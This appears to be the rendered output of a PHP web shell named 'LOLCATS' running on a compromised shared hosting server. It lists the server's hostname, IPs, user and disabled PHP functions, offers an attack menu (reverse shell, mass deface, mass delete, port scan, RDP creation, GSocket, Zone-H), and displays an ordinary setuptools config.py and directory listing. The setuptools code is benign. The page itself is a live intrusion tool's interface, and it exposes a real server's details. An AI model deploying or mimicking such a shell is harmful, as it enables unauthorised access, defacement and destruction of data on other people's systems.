LOLCATS

: /opt/alt/python35/lib/python3.5/site-packages/setuptools/ [ drwxr-xr-x ]

Information Server

System: Linux malabar.iixcp.rumahweb.net 5.14.0-687.24.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 9 18:14:06 EDT 2026 x86_64
Software: LiteSpeed
PHP Version: 5.6.40 PHP Os: Linux
Server IP: 202.10.43.4
Your IP: 216.73.217.36
User: ifte7726 [2274] | Group: [ifte7726] [2279]
Safe Mode: OFF
MYSQL: ON | PERL: OFF | PYTHON: OFF | WGET: OFF | CURL: ON | GCC: OFF | PKEXEC: OFF
Disable Function:

system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,popen,pclose,dl,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setsid,posix_setuid,posix_setpgid,ini_alter,show_source,define_syslog_variables,symlink,syslog,openlog,openlog,closelog,ocinumcols,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dll,ftp,myshellexec,socket_bind,mail,posix_getwpuid

Command OFF Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: config.py

from __future__ import absolute_import, unicode_literals
import io
import os
import sys
from collections import defaultdict
from functools import partial

from distutils.errors import DistutilsOptionError, DistutilsFileError
from setuptools.py26compat import import_module
from setuptools.extern.six import string_types

def read_configuration(
        filepath, find_others=False, ignore_option_errors=False):
    """Read given configuration file and returns options from it as a dict.

:param str|unicode filepath: Path to configuration file
        to get options from.

:param bool find_others: Whether to search for other configuration files
        which could be on in various places.

:param bool ignore_option_errors: Whether to silently ignore
        options, values of which could not be resolved (e.g. due to exceptions
        in directives such as file:, attr:, etc.).
        If False exceptions are propagated as expected.

:rtype: dict
    """
    from setuptools.dist import Distribution, _Distribution

filepath = os.path.abspath(filepath)

if not os.path.isfile(filepath):
        raise DistutilsFileError(
            'Configuration file %s does not exist.' % filepath)

current_directory = os.getcwd()
    os.chdir(os.path.dirname(filepath))

try:
        dist = Distribution()

filenames = dist.find_config_files() if find_others else []
        if filepath not in filenames:
            filenames.append(filepath)

_Distribution.parse_config_files(dist, filenames=filenames)

handlers = parse_configuration(
            dist, dist.command_options,
            ignore_option_errors=ignore_option_errors)

finally:
        os.chdir(current_directory)

return configuration_to_dict(handlers)

def configuration_to_dict(handlers):
    """Returns configuration data gathered by given handlers as a dict.

:param list[ConfigHandler] handlers: Handlers list,
        usually from parse_configuration()

:rtype: dict
    """
    config_dict = defaultdict(dict)

for handler in handlers:

obj_alias = handler.section_prefix
        target_obj = handler.target_obj

for option in handler.set_options:
            getter = getattr(target_obj, 'get_%s' % option, None)

if getter is None:
                value = getattr(target_obj, option)

else:
                value = getter()

config_dict[obj_alias][option] = value

return config_dict

def parse_configuration(
        distribution, command_options, ignore_option_errors=False):
    """Performs additional parsing of configuration options
    for a distribution.

Returns a list of used option handlers.

:param Distribution distribution:
    :param dict command_options:
    :param bool ignore_option_errors: Whether to silently ignore
        options, values of which could not be resolved (e.g. due to exceptions
        in directives such as file:, attr:, etc.).
        If False exceptions are propagated as expected.
    :rtype: list
    """
    meta = ConfigMetadataHandler(
        distribution.metadata, command_options, ignore_option_errors)
    meta.parse()

options = ConfigOptionsHandler(
        distribution, command_options, ignore_option_errors)
    options.parse()

return [meta, options]

class ConfigHandler(object):
    """Handles metadata supplied in configuration files."""

section_prefix = None
    """Prefix for config sections handled by this handler.
    Must be provided by class heirs.

"""

aliases = {}
    """Options aliases.
    For compatibility with various packages. E.g.: d2to1 and pbr.
    Note: `-` in keys is replaced with `_` by config parser.

"""

def __init__(self, target_obj, options, ignore_option_errors=False):
        sections = {}

section_prefix = self.section_prefix
        for section_name, section_options in options.items():
            if not section_name.startswith(section_prefix):
                continue

section_name = section_name.replace(section_prefix, '').strip('.')
            sections[section_name] = section_options

self.ignore_option_errors = ignore_option_errors
        self.target_obj = target_obj
        self.sections = sections
        self.set_options = []

@property
    def parsers(self):
        """Metadata item name to parser function mapping."""
        raise NotImplementedError(
            '%s must provide .parsers property' % self.__class__.__name__)

def __setitem__(self, option_name, value):
        unknown = tuple()
        target_obj = self.target_obj

# Translate alias into real name.
        option_name = self.aliases.get(option_name, option_name)

current_value = getattr(target_obj, option_name, unknown)

if current_value is unknown:
            raise KeyError(option_name)

if current_value:
            # Already inhabited. Skipping.
            return

skip_option = False
        parser = self.parsers.get(option_name)
        if parser:
            try:
                value = parser(value)

except Exception:
                skip_option = True
                if not self.ignore_option_errors:
                    raise

if skip_option:
            return

setter = getattr(target_obj, 'set_%s' % option_name, None)
        if setter is None:
            setattr(target_obj, option_name, value)
        else:
            setter(value)

self.set_options.append(option_name)

@classmethod
    def _parse_list(cls, value, separator=','):
        """Represents value as a list.

Value is split either by separator (defaults to comma) or by lines.

:param value:
        :param separator: List items separator character.
        :rtype: list
        """
        if isinstance(value, list):  # _get_parser_compound case
            return value

if '\n' in value:
            value = value.splitlines()
        else:
            value = value.split(separator)

return [chunk.strip() for chunk in value if chunk.strip()]

@classmethod
    def _parse_dict(cls, value):
        """Represents value as a dict.

:param value:
        :rtype: dict
        """
        separator = '='
        result = {}
        for line in cls._parse_list(value):
            key, sep, val = line.partition(separator)
            if sep != separator:
                raise DistutilsOptionError(
                    'Unable to parse option value to dict: %s' % value)
            result[key.strip()] = val.strip()

return result

@classmethod
    def _parse_bool(cls, value):
        """Represents value as boolean.

:param value:
        :rtype: bool
        """
        value = value.lower()
        return value in ('1', 'true', 'yes')

@classmethod
    def _parse_file(cls, value):
        """Represents value as a string, allowing including text
        from nearest files using `file:` directive.

Directive is sandboxed and won't reach anything outside
        directory with setup.py.

Examples:
            file: LICENSE
            file: README.rst, CHANGELOG.md, src/file.txt

:param str value:
        :rtype: str
        """
        include_directive = 'file:'

if not isinstance(value, string_types):
            return value

if not value.startswith(include_directive):
            return value

spec = value[len(include_directive):]
        filepaths = (os.path.abspath(path.strip()) for path in spec.split(','))
        return '\n'.join(
            cls._read_file(path)
            for path in filepaths
            if (cls._assert_local(path) or True)
            and os.path.isfile(path)
        )

@staticmethod
    def _assert_local(filepath):
        if not filepath.startswith(os.getcwd()):
            raise DistutilsOptionError(
                '`file:` directive can not access %s' % filepath)

@staticmethod
    def _read_file(filepath):
        with io.open(filepath, encoding='utf-8') as f:
            return f.read()

@classmethod
    def _parse_attr(cls, value):
        """Represents value as a module attribute.

Examples:
            attr: package.attr
            attr: package.module.attr

:param str value:
        :rtype: str
        """
        attr_directive = 'attr:'
        if not value.startswith(attr_directive):
            return value

attrs_path = value.replace(attr_directive, '').strip().split('.')
        attr_name = attrs_path.pop()

module_name = '.'.join(attrs_path)
        module_name = module_name or '__init__'

sys.path.insert(0, os.getcwd())
        try:
            module = import_module(module_name)
            value = getattr(module, attr_name)

finally:
            sys.path = sys.path[1:]

return value

@classmethod
    def _get_parser_compound(cls, *parse_methods):
        """Returns parser function to represents value as a list.

Parses a value applying given methods one after another.

:param parse_methods:
        :rtype: callable
        """
        def parse(value):
            parsed = value

for method in parse_methods:
                parsed = method(parsed)

return parsed

return parse

@classmethod
    def _parse_section_to_dict(cls, section_options, values_parser=None):
        """Parses section options into a dictionary.

Optionally applies a given parser to values.

:param dict section_options:
        :param callable values_parser:
        :rtype: dict
        """
        value = {}
        values_parser = values_parser or (lambda val: val)
        for key, (_, val) in section_options.items():
            value[key] = values_parser(val)
        return value

def parse_section(self, section_options):
        """Parses configuration file section.

:param dict section_options:
        """
        for (name, (_, value)) in section_options.items():
            try:
                self[name] = value

except KeyError:
                pass  # Keep silent for a new option may appear anytime.

def parse(self):
        """Parses configuration file items from one
        or more related sections.

"""
        for section_name, section_options in self.sections.items():

method_postfix = ''
            if section_name:  # [section.option] variant
                method_postfix = '_%s' % section_name

section_parser_method = getattr(
                self,
                # Dots in section names are tranlsated into dunderscores.
                ('parse_section%s' % method_postfix).replace('.', '__'),
                None)

if section_parser_method is None:
                raise DistutilsOptionError(
                    'Unsupported distribution option section: [%s.%s]' % (
                        self.section_prefix, section_name))

section_parser_method(section_options)

class ConfigMetadataHandler(ConfigHandler):

section_prefix = 'metadata'

aliases = {
        'home_page': 'url',
        'summary': 'description',
        'classifier': 'classifiers',
        'platform': 'platforms',
    }

strict_mode = False
    """We need to keep it loose, to be partially compatible with
    `pbr` and `d2to1` packages which also uses `metadata` section.

"""

@property
    def parsers(self):
        """Metadata item name to parser function mapping."""
        parse_list = self._parse_list
        parse_file = self._parse_file

return {
            'platforms': parse_list,
            'keywords': parse_list,
            'provides': parse_list,
            'requires': parse_list,
            'obsoletes': parse_list,
            'classifiers': self._get_parser_compound(parse_file, parse_list),
            'license': parse_file,
            'description': parse_file,
            'long_description': parse_file,
            'version': self._parse_version,
        }

def _parse_version(self, value):
        """Parses `version` option value.

:param value:
        :rtype: str

"""
        version = self._parse_attr(value)

if callable(version):
            version = version()

if not isinstance(version, string_types):
            if hasattr(version, '__iter__'):
                version = '.'.join(map(str, version))
            else:
                version = '%s' % version

return version

class ConfigOptionsHandler(ConfigHandler):

section_prefix = 'options'

@property
    def parsers(self):
        """Metadata item name to parser function mapping."""
        parse_list = self._parse_list
        parse_list_semicolon = partial(self._parse_list, separator=';')
        parse_bool = self._parse_bool
        parse_dict = self._parse_dict

return {
            'zip_safe': parse_bool,
            'use_2to3': parse_bool,
            'include_package_data': parse_bool,
            'package_dir': parse_dict,
            'use_2to3_fixers': parse_list,
            'use_2to3_exclude_fixers': parse_list,
            'convert_2to3_doctests': parse_list,
            'scripts': parse_list,
            'eager_resources': parse_list,
            'dependency_links': parse_list,
            'namespace_packages': parse_list,
            'install_requires': parse_list_semicolon,
            'setup_requires': parse_list_semicolon,
            'tests_require': parse_list_semicolon,
            'packages': self._parse_packages,
            'entry_points': self._parse_file,
            'py_modules': parse_list,
        }

def _parse_packages(self, value):
        """Parses `packages` option value.

:param value:
        :rtype: list
        """
        find_directive = 'find:'

if not value.startswith(find_directive):
            return self._parse_list(value)

# Read function arguments from a dedicated section.
        find_kwargs = self.parse_section_packages__find(
            self.sections.get('packages.find', {}))

from setuptools import find_packages

return find_packages(**find_kwargs)

def parse_section_packages__find(self, section_options):
        """Parses `packages.find` configuration file section.

To be used in conjunction with _parse_packages().

:param dict section_options:
        """
        section_data = self._parse_section_to_dict(
            section_options, self._parse_list)

valid_keys = ['where', 'include', 'exclude']

find_kwargs = dict(
            [(k, v) for k, v in section_data.items() if k in valid_keys and v])

where = find_kwargs.get('where')
        if where is not None:
            find_kwargs['where'] = where[0]  # cast list to single val

return find_kwargs

def parse_section_entry_points(self, section_options):
        """Parses `entry_points` configuration file section.

:param dict section_options:
        """
        parsed = self._parse_section_to_dict(section_options, self._parse_list)
        self['entry_points'] = parsed

def _parse_package_data(self, section_options):
        parsed = self._parse_section_to_dict(section_options, self._parse_list)

root = parsed.get('*')
        if root:
            parsed[''] = root
            del parsed['*']

return parsed

def parse_section_package_data(self, section_options):
        """Parses `package_data` configuration file section.

:param dict section_options:
        """
        self['package_data'] = self._parse_package_data(section_options)

def parse_section_exclude_package_data(self, section_options):
        """Parses `exclude_package_data` configuration file section.

:param dict section_options:
        """
        self['exclude_package_data'] = self._parse_package_data(
            section_options)

def parse_section_extras_require(self, section_options):
        """Parses `extras_require` configuration file section.

:param dict section_options:
        """
        parse_list = partial(self._parse_list, separator=';')
        self['extras_require'] = self._parse_section_to_dict(
            section_options, parse_list)

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
archive_util.py	f!le	2023-11-14 4:24	6.46 KB	root / linksafe	-rw-r--r--
config.py	f!le	2023-11-14 4:24	15.93 KB	root / linksafe	-rw-r--r--
depends.py	f!le	2023-11-14 4:24	5.7 KB	root / linksafe	-rw-r--r--
dep_util.py	f!le	2023-11-14 4:24	935 B	root / linksafe	-rw-r--r--
dist.py	f!le	2023-11-14 4:24	39.36 KB	root / linksafe	-rw-r--r--
extension.py	f!le	2023-11-14 4:24	1.69 KB	root / linksafe	-rw-r--r--
glob.py	f!le	2023-11-14 4:24	5.08 KB	root / linksafe	-rw-r--r--
__init__.py	f!le	2023-11-14 4:24	4.92 KB	root / linksafe	-rw-r--r--
launch.py	f!le	2023-11-14 4:24	787 B	root / linksafe	-rw-r--r--
lib2to3_ex.py	f!le	2023-11-14 4:24	1.97 KB	root / linksafe	-rw-r--r--
monkey.py	f!le	2023-11-14 4:24	5.66 KB	root / linksafe	-rw-r--r--
msvc.py	f!le	2023-11-14 4:24	39.93 KB	root / linksafe	-rw-r--r--
namespaces.py	f!le	2023-11-14 4:24	3.12 KB	root / linksafe	-rw-r--r--
package_index.py	f!le	2023-11-14 4:24	39.03 KB	root / linksafe	-rw-r--r--
py26compat.py	f!le	2023-11-14 4:24	679 B	root / linksafe	-rw-r--r--
py27compat.py	f!le	2023-11-14 4:24	536 B	root / linksafe	-rw-r--r--
py31compat.py	f!le	2023-11-14 4:24	1.61 KB	root / linksafe	-rw-r--r--
py33compat.py	f!le	2023-11-14 4:24	998 B	root / linksafe	-rw-r--r--
py36compat.py	f!le	2023-11-14 4:24	2.82 KB	root / linksafe	-rw-r--r--
sandbox.py	f!le	2023-11-14 4:24	14.21 KB	root / linksafe	-rw-r--r--
script (dev).tmpl	f!le	2023-11-14 4:24	201 B	root / linksafe	-rw-r--r--
script.tmpl	f!le	2023-11-14 4:24	138 B	root / linksafe	-rw-r--r--
site-patch.py	f!le	2023-11-14 4:24	2.25 KB	root / linksafe	-rw-r--r--
ssl_support.py	f!le	2023-11-14 4:24	8.03 KB	root / linksafe	-rw-r--r--
unicode_utils.py	f!le	2023-11-14 4:24	996 B	root / linksafe	-rw-r--r--
version.py	f!le	2023-11-14 4:24	144 B	root / linksafe	-rw-r--r--
windows_support.py	f!le	2023-11-14 4:24	714 B	root / linksafe	-rw-r--r--